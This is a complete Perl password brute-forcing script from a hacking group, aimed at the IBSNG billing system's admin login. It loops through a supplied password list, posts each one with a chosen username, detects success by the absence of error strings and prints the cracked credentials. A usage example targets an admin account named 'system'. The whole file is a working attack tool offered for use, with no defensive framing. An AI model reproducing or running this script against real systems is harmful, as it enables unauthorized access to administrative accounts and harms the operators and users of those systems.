#IBSNG BruteForcer
#Public Version
#Coded By M.R.S.CO
#We Are M.R.S.CO,N3O,UB313
#Friends : G3n3Rall,BlacK.King,Nafsh,b3hz4d,Black.Hack3r
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print q (
------------------------------
| Iranian Dark Coders Team |
------------------------------
| WwW.IDC-TeaM.NeT |
------------------------------
| Coded BY M.R.S.CO |
------------------------------
);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
$ua = LWP::UserAgent ->new;
$ua->timeout(15);
if($ARGV[2])
{
open(file, "<$ARGV[2]") || print "Couldn't open $ARGV[2]\n";
my @tt =<file>;
foreach $pass(@tt){
chomp($pass);
my $req = POST $ARGV[0], [
'username'=> $ARGV[1],
'password'=> $pass,
'x'=>'0',
'y'=> '0'
];
$content = $ua->request($req)->as_string;
if ($content =~ "Username or Password is incorrect" || $content =~ "Incorrect password")
{print "*";}else{print "\nuser : $ARGV[1] - pass : $pass\n"; goto en;}
}
}else{print "\n\t idc.pl ibsng_path user pass_list"; print "\n\t idc.pl http://site.com/ibsng/admin system pass.txt\n";
}
en:;